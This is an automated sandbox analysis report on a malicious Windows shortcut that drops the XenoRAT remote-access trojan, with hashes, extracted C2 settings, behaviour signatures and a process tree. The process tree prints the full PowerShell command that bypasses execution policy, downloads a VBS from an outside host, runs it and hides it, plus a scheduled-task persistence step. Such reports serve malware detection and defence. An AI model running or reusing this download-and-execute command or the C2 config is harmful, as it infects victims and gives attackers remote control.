Analysis
-
max time kernel
146s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
09-12-2024 05:54
Static task
static1
Behavioral task
behavioral1
Sample
TRANSFERENCIACOMPROBANTES.lnk
Resource
win7-20240903-en
General
-
Target
TRANSFERENCIACOMPROBANTES.lnk
-
Size
2KB
-
MD5
5f82d730794323e47df2c5361e13ce69
-
SHA1
e05dba2157cec9966790f75cba9899243939b569
-
SHA256
4a6695307864dfe0b2e8b516afce79959cb20fed28734d5426450091367255a4
-
SHA512
9b0ffcccaff5071944b6525bcb9678aed94f939700c741ebc99f919cdc4033d86a79546f39080e1991b41cd7cf2e243d434b147764495b3548e1f563a1a0ea07
Malware Config
Extracted
https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs
Extracted
xenorat
dns.stipamana.com
Xeno_rat_nd8912d
-
delay
12000
-
install_path
appdata
-
port
4567
-
startup_name
mrec
Signatures
-
Detect XenoRat Payload 1 IoCs
resource yara_rule behavioral2/memory/64-106-0x0000000000400000-0x0000000000412000-memory.dmp family_xenorat -
Xenorat family
-
Blocklisted process makes network request 2 IoCs
flow pid Process 8 3588 powershell.exe 15 1592 WScript.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3588 powershell.exe -
Downloads MZ/PE file
-
Office macro that triggers on suspicious action 1 IoCs
Office document macro which triggers in special circumstances - often malicious.
resource yara_rule behavioral2/files/0x0008000000023c91-36.dat office_macro_on_action -
resource behavioral2/files/0x0008000000023c91-36.dat -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation GFKMTE.exe -
Executes dropped EXE 8 IoCs
pid Process 2744 GFKMTE.exe 3504 GFKMTE.exe 4160 GFKMTE.exe 64 GFKMTE.exe 1212 GFKMTE.exe 4392 GFKMTE.exe 4480 GFKMTE.exe 2232 GFKMTE.exe -
Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 2744 set thread context of 3504 2744 GFKMTE.exe 95 PID 2744 set thread context of 4160 2744 GFKMTE.exe 96 PID 2744 set thread context of 64 2744 GFKMTE.exe 98 PID 1212 set thread context of 4392 1212 GFKMTE.exe 105 PID 1212 set thread context of 4480 1212 GFKMTE.exe 106 PID 1212 set thread context of 2232 1212 GFKMTE.exe 108 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 3 IoCs
pid pid_target Process procid_target 4192 4160 WerFault.exe 96 744 3504 WerFault.exe 95 1980 4392 WerFault.exe 105 -
System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GFKMTE.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4912 schtasks.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 15 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4864 WINWORD.EXE 4864 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3588 powershell.exe 3588 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 3588 powershell.exe Token: SeDebugPrivilege 2744 GFKMTE.exe Token: SeDebugPrivilege 1212 GFKMTE.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 4864 WINWORD.EXE 4864 WINWORD.EXE 4864 WINWORD.EXE 4864 WINWORD.EXE 4864 WINWORD.EXE 4864 WINWORD.EXE 4864 WINWORD.EXE -
Suspicious use of WriteProcessMemory 61 IoCs
description pid Process procid_target PID 3172 wrote to memory of 3588 3172 cmd.exe 84 PID 3172 wrote to memory of 3588 3172 cmd.exe 84 PID 3588 wrote to memory of 1592 3588 powershell.exe 85 PID 3588 wrote to memory of 1592 3588 powershell.exe 85 PID 4864 wrote to memory of 2744 4864 WINWORD.EXE 92 PID 4864 wrote to memory of 2744 4864 WINWORD.EXE 92 PID 4864 wrote to memory of 2744 4864 WINWORD.EXE 92 PID 2744 wrote to memory of 3504 2744 GFKMTE.exe 95 PID 2744 wrote to memory of 3504 2744 GFKMTE.exe 95 PID 2744 wrote to memory of 3504 2744 GFKMTE.exe 95 PID 2744 wrote to memory of 3504 2744 GFKMTE.exe 95 PID 2744 wrote to memory of 3504 2744 GFKMTE.exe 95 PID 2744 wrote to memory of 3504 2744 GFKMTE.exe 95 PID 2744 wrote to memory of 3504 2744 GFKMTE.exe 95 PID 2744 wrote to memory of 3504 2744 GFKMTE.exe 95 PID 2744 wrote to memory of 4160 2744 GFKMTE.exe 96 PID 2744 wrote to memory of 4160 2744 GFKMTE.exe 96 PID 2744 wrote to memory of 4160 2744 GFKMTE.exe 96 PID 2744 wrote to memory of 4160 2744 GFKMTE.exe 96 PID 2744 wrote to memory of 4160 2744 GFKMTE.exe 96 PID 2744 wrote to memory of 4160 2744 GFKMTE.exe 96 PID 2744 wrote to memory of 4160 2744 GFKMTE.exe 96 PID 2744 wrote to memory of 4160 2744 GFKMTE.exe 96 PID 2744 wrote to memory of 64 2744 GFKMTE.exe 98 PID 2744 wrote to memory of 64 2744 GFKMTE.exe 98 PID 2744 wrote to memory of 64 2744 GFKMTE.exe 98 PID 2744 wrote to memory of 64 2744 GFKMTE.exe 98 PID 2744 wrote to memory of 64 2744 GFKMTE.exe 98 PID 2744 wrote to memory of 64 2744 GFKMTE.exe 98 PID 2744 wrote to memory of 64 2744 GFKMTE.exe 98 PID 2744 wrote to memory of 64 2744 GFKMTE.exe 98 PID 64 wrote to memory of 1212 64 GFKMTE.exe 104 PID 64 wrote to memory of 1212 64 GFKMTE.exe 104 PID 64 wrote to memory of 1212 64 GFKMTE.exe 104 PID 1212 wrote to memory of 4392 1212 GFKMTE.exe 105 PID 1212 wrote to memory of 4392 1212 GFKMTE.exe 105 PID 1212 wrote to memory of 4392 1212 GFKMTE.exe 105 PID 1212 wrote to memory of 4392 1212 GFKMTE.exe 105 PID 1212 wrote to memory of 4392 1212 GFKMTE.exe 105 PID 1212 wrote to memory of 4392 1212 GFKMTE.exe 105 PID 1212 wrote to memory of 4392 1212 GFKMTE.exe 105 PID 1212 wrote to memory of 4392 1212 GFKMTE.exe 105 PID 1212 wrote to memory of 4480 1212 GFKMTE.exe 106 PID 1212 wrote to memory of 4480 1212 GFKMTE.exe 106 PID 1212 wrote to memory of 4480 1212 GFKMTE.exe 106 PID 1212 wrote to memory of 4480 1212 GFKMTE.exe 106 PID 1212 wrote to memory of 4480 1212 GFKMTE.exe 106 PID 1212 wrote to memory of 4480 1212 GFKMTE.exe 106 PID 1212 wrote to memory of 4480 1212 GFKMTE.exe 106 PID 1212 wrote to memory of 4480 1212 GFKMTE.exe 106 PID 1212 wrote to memory of 2232 1212 GFKMTE.exe 108 PID 1212 wrote to memory of 2232 1212 GFKMTE.exe 108 PID 1212 wrote to memory of 2232 1212 GFKMTE.exe 108 PID 1212 wrote to memory of 2232 1212 GFKMTE.exe 108 PID 1212 wrote to memory of 2232 1212 GFKMTE.exe 108 PID 1212 wrote to memory of 2232 1212 GFKMTE.exe 108 PID 1212 wrote to memory of 2232 1212 GFKMTE.exe 108 PID 1212 wrote to memory of 2232 1212 GFKMTE.exe 108 PID 2232 wrote to memory of 4912 2232 GFKMTE.exe 117 PID 2232 wrote to memory of 4912 2232 GFKMTE.exe 117 PID 2232 wrote to memory of 4912 2232 GFKMTE.exe 117
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\TRANSFERENCIACOMPROBANTES.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3172 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass opntjfmdjtgfdjqbinrdfgfdhozhdfbo -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3588 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\pafdfgz.vbs"3⤵
- Blocklisted process makes network request
PID:1592
-
-
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4864 -
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2744 -
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe3⤵
- Executes dropped EXE
PID:3504 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 804⤵
- Program crash
PID:744
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe3⤵
- Executes dropped EXE
PID:4160 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4160 -s 804⤵
- Program crash
PID:4192
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exeC:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\GFKMTE.exe3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:64 -
C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe"C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1212 -
C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exeC:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe5⤵
- Executes dropped EXE
PID:4392 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4392 -s 806⤵
- Program crash
PID:1980
-
-
-
C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exeC:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4480
-
-
C:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exeC:\Users\Admin\AppData\Roaming\UpdateManager\GFKMTE.exe5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2232 -
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /Create /TN "mrec" /XML "C:\Users\Admin\AppData\Local\Temp\tmpD764.tmp" /F6⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:4912
-
-
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4160 -ip 41601⤵PID:3096
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3504 -ip 35041⤵PID:216
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4392 -ip 43921⤵PID:2152
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
706B
MD5d95c58e609838928f0f49837cab7dfd2
SHA155e7139a1e3899195b92ed8771d1ca2c7d53c916
SHA2560407c814aef0d62aec7fd39b7c2f614746f0d8ff41f8ef957736f520f14b0339
SHA512405310b29a833604c6627063bfdcf055a197e01f633ef21da238f1a6415a02e21315d689b4a6669db23e82152bed6f3492afb60963e6b2a0e9bb2ac09a480b5d
-
Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
10KB
MD5087bcef76143b81090deef4ee4679995
SHA16ebd4fd212d0583157ae03bb0eb5841c53e281fc
SHA25687334eb3f39cffdfeed453f67a7c338fe378b75c49946451ca1a0e4e151bba00
SHA512b2f93705760d4d1cf5fe0ac354100916d16b6c4fd62117254238a600aabe6257fc791f1ce498bd2d0cfdd47e19f304dc5a68a06b7958658f34859afaa582ed4d
-
Filesize
1KB
MD5284e416e02187ce3d7f57e1f6de8e9ff
SHA1eb99094dfd8e312947b03befb46dca38fbe1ee27
SHA256bc0fa777e4a5772ae4af0eef1df3c5fc3253042a9072281bb95f56a92f3136b2
SHA512961df349b8685fed8325c5067a1de2513d505f002e4304a78834c52fd6827e689aa8908797636f4ad79c47004a772a4b0b1f665bf70f71de7bfdc78d057ea1c7
-
Filesize
195KB
MD57ea9da3dd3db6f3fadf04ac76b54434b
SHA1b30b950191046d999e71aaa54fb2648c6655ce9b
SHA256947bce97211371e730a2b8b79c2ec4d154904e8faa7bed2583c5c6c420230170
SHA512f94eb382dedb8c3952dbc0f3b9040201455cec641c845bedf5765a2772aa98cb20d92b3e0edadcd92fd7cdb77e7c6f37d26bdd276cceea733237e28f04240f9d
-
Filesize
173KB
MD594a7e3859c2e4238421cdfe73d49603c
SHA103f03c5b5d8cf362aa52b9e793e7be398d779c21
SHA256639135eb69333aba7ecb762072d8bef1d2db83e54edbe627dd223039142b8c91
SHA51274048463606f7017bd8bd3c92773edde5a406247c5ea437b8ee580a3d9e65eb755aa44de466fc2aabef8b9a67c40163afeb3df9bc9fb35f8afe20814d5de85b5